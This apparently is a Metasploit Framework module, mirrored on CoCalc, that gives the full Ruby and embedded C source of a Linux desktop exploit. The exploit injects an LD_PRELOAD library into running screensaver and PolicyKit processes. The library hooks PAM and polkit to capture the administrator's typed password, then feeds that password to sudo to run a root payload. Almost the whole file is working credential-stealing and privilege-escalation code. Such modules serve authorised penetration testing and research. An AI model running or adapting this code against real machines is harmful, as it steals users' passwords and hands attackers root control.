CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/local/desktop_privilege_escalation.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'base64'
7
require 'metasm'
8
9
class MetasploitModule < Msf::Exploit::Local
10
Rank = ExcellentRanking
11
include Msf::Exploit::EXE
12
include Msf::Post::File
13
14
def initialize(info={})
15
super( update_info( info, {
16
'Name' => 'Desktop Linux Password Stealer and Privilege Escalation',
17
'Description' => %q{
18
This module steals the user password of an administrative user on a desktop Linux system
19
when it is entered for unlocking the screen or for doing administrative actions using
20
PolicyKit. Then, it escalates to root privileges using sudo and the stolen user password.
21
It exploits the design weakness that there is no trusted channel for transferring the
22
password from the keyboard to the actual password verification against the shadow file
23
(which is running as root since /etc/shadow is only readable to the root user). Both
24
screensavers (xscreensaver/gnome-screensaver) and PolicyKit use a component running under
25
the current user account to query for the password and then pass it to a setuid-root binary
26
to do the password verification. Therefore, it is possible to inject a password stealer
27
after compromising the user account. Since sudo requires only the user password (and not
28
the root password of the system), stealing the user password of an administrative user
29
directly allows escalating to root privileges. Please note, you have to start a handler
30
as a background job before running this exploit since the exploit will only create a shell
31
when the user actually enters the password (which may be hours after launching the exploit).
32
Using exploit/multi/handler with the option ExitOnSession set to false should do the job.
33
},
34
'License' => MSF_LICENSE,
35
'Author' => ['Jakob Lell'],
36
'DisclosureDate' => '2014-08-07',
37
'Platform' => 'linux',
38
'Arch' => [ARCH_X86, ARCH_X64],
39
'SessionTypes' => ['shell', 'meterpreter'],
40
'Targets' =>
41
[
42
['Linux x86', {'Arch' => ARCH_X86}],
43
['Linux x86_64', {'Arch' => ARCH_X64}]
44
],
45
'DefaultOptions' =>
46
{
47
'PrependSetresuid' => true,
48
'PrependFork' => true,
49
'DisablePayloadHandler' => true
50
},
51
'DefaultTarget' => 0,
52
}
53
))
54
register_advanced_options [
55
OptString.new('WritableDir', [true, 'A directory for storing temporary files on the target system', '/tmp'])
56
]
57
end
58
59
def check
60
check_command = 'if which perl && '
61
check_command << 'which sudo && '
62
check_command << 'id|grep -E \'sudo|adm\' && '
63
check_command << 'pidof xscreensaver gnome-screensaver polkit-gnome-authentication-agent-1;'
64
check_command << 'then echo OK;'
65
check_command << 'fi'
66
67
output = cmd_exec(check_command).gsub("\r", '')
68
69
vprint_status(output)
70
71
if output['OK'] == 'OK'
72
return Exploit::CheckCode::Vulnerable
73
end
74
75
Exploit::CheckCode::Safe
76
end
77
78
def exploit
79
# Cannot use generic/shell_reverse_tcp inside an elf
80
# Checking before proceeds
81
pl = generate_payload_exe
82
83
exe_file = "#{datastore['WritableDir']}/#{rand_text_alpha(3 + rand(5))}.elf"
84
85
print_status("Writing payload executable to '#{exe_file}'")
86
write_file(exe_file, pl)
87
cmd_exec("chmod +x #{exe_file}")
88
89
90
cpu = nil
91
if target['Arch'] == ARCH_X86
92
cpu = Metasm::Ia32.new
93
elsif target['Arch'] == ARCH_X64
94
cpu = Metasm::X86_64.new
95
end
96
lib_data = Metasm::ELF.compile_c(cpu, c_code(exe_file)).encode_string(:lib)
97
lib_file = "#{datastore['WritableDir']}/#{rand_text_alpha(3 + rand(5))}.so"
98
99
print_status("Writing lib file to '#{lib_file}'")
100
write_file(lib_file,lib_data)
101
102
print_status('Restarting processes (screensaver/policykit)')
103
restart_commands = get_restart_commands
104
restart_commands.each do |cmd|
105
cmd['LD_PRELOAD_PLACEHOLDER'] = lib_file
106
cmd_exec(cmd)
107
end
108
print_status('The exploit module has finished. However, getting a shell will probably take a while (until the user actually enters the password). Remember to keep a handler running.')
109
end
110
111
def get_restart_commands
112
get_cmd_lines = 'pidof xscreensaver gnome-screensaver polkit-gnome-authentication-agent-1|'
113
get_cmd_lines << 'perl -ne \'while(/(\d+)/g){$pid=$1;next unless -r "/proc/$pid/environ";'
114
get_cmd_lines << 'print"PID:$pid\nEXE:".readlink("/proc/$pid/exe")."\n";'
115
get_cmd_lines << '$/=undef;'
116
get_cmd_lines << 'for("cmdline","environ"){open F,"</proc/$pid/$_";print "$_:".unpack("H*",<F>),"\n";}}\''
117
118
text_output = cmd_exec(get_cmd_lines).gsub("\r",'')
119
vprint_status(text_output)
120
121
lines = text_output.split("\n")
122
123
restart_commands = []
124
i=0
125
while i < lines.length - 3
126
m = lines[i].match(/^PID:(\d+)/)
127
128
if m
129
pid = m[1]
130
vprint_status("PID=#{pid}")
131
print_status("Found process: " + lines[i+1])
132
133
exe = lines[i+1].match(/^EXE:(\S+)$/)[1]
134
vprint_status("exe=#{exe}")
135
136
cmdline = [lines[i+2].match(/^cmdline:(\w+)$/)[1]].pack('H*').split("\x00")
137
vprint_status("CMDLINE=" + cmdline.join(' XXX '))
138
139
env = lines[i+3].match(/^environ:(\w+)$/)[1]
140
restart_command = 'perl -e \'use POSIX setsid;open STDIN,"</dev/null";open STDOUT,">/dev/null";open STDERR,">/dev/null";exit if fork;setsid();'
141
restart_command << 'kill(9,' + pid + ')||exit;%ENV=();for(split("\0",pack("H*","' + env + '"))){/([^=]+)=(.*)/;$ENV{$1}=$2}'
142
restart_command << '$ENV{"LD_PRELOAD"}="LD_PRELOAD_PLACEHOLDER";exec {"' + exe + '"} ' + cmdline.map{|x| '"' + x + '"'}.join(", ") + '\''
143
144
vprint_status("RESTART: #{restart_command}")
145
restart_commands.push(restart_command)
146
end
147
148
i+=1
149
end
150
151
restart_commands
152
end
153
154
def c_code(exe_file)
155
c = %Q|
156
// A few constants/function definitions/structs copied from header files
157
#define RTLD_NEXT ((void *) -1l)
158
extern uintptr_t dlsym(uintptr_t, char*);
159
// Define some structs to void so that we can ignore all dependencies from these structs
160
#define FILE void
161
#define pam_handle_t void
162
extern FILE *popen(const char *command, const char *type);
163
extern int pclose(FILE *stream);
164
extern int fprintf(FILE *stream, const char *format, ...);
165
extern char *strstr(const char *haystack, const char *needle);
166
extern void *malloc(unsigned int size);
167
168
struct pam_message {
169
int msg_style;
170
const char *msg;
171
};
172
173
struct pam_response {
174
char *resp;
175
int resp_retcode;
176
};
177
178
struct pam_conv {
179
int (*conv)(int num_msg, const struct pam_message **msg,
180
struct pam_response **resp, void *appdata_ptr);
181
void *appdata_ptr;
182
};
183
184
void run_sudo(char* password) {
185
FILE* sudo = popen("sudo -S #{exe_file}", "w");
186
fprintf(sudo,"%s\\n",password);
187
pclose(sudo);
188
}
189
190
int my_conv(int num_msg, const struct pam_message **msg, struct pam_response **resp, void *appdata_ptr) {
191
struct pam_conv *orig_pam_conversation = (struct pam_conv *)appdata_ptr;
192
int i;
193
int passwd_index = -1;
194
for(i=0;i<num_msg;i++){
195
if(strstr(msg[i]->msg,"Password") >= 0){
196
passwd_index = i;
197
}
198
}
199
int result = orig_pam_conversation->conv(num_msg, msg, resp, orig_pam_conversation->appdata_ptr);
200
if(passwd_index >= 0){
201
run_sudo(resp[passwd_index]->resp);
202
}
203
return result;
204
}
205
206
int pam_start(const char *service_name, const char *user, const struct pam_conv *pam_conversation, pam_handle_t **pamh) __attribute__((export)) {
207
static int (*orig_pam_start)(const char *service_name, const char *user, const struct pam_conv *pam_conversation, pam_handle_t **pamh);
208
if(!orig_pam_start){
209
orig_pam_start = dlsym(RTLD_NEXT,"pam_start");
210
}
211
struct pam_conv *my_pam_conversation = malloc(sizeof(struct pam_conv));
212
my_pam_conversation->conv = &my_conv;
213
my_pam_conversation->appdata_ptr = (struct pam_conv *)pam_conversation;
214
return orig_pam_start(service_name, user, my_pam_conversation, pamh);
215
}
216
217
void polkit_agent_session_response (void *session, char *response) __attribute__((export)) {
218
static void *(*orig_polkit_agent_session_response)(void *session, char* response);
219
if(!orig_polkit_agent_session_response){
220
orig_polkit_agent_session_response = dlsym(RTLD_NEXT,"polkit_agent_session_response");
221
}
222
run_sudo(response);
223
orig_polkit_agent_session_response(session, response);
224
return;
225
}
226
|
227
c
228
end
229
end
230
231
232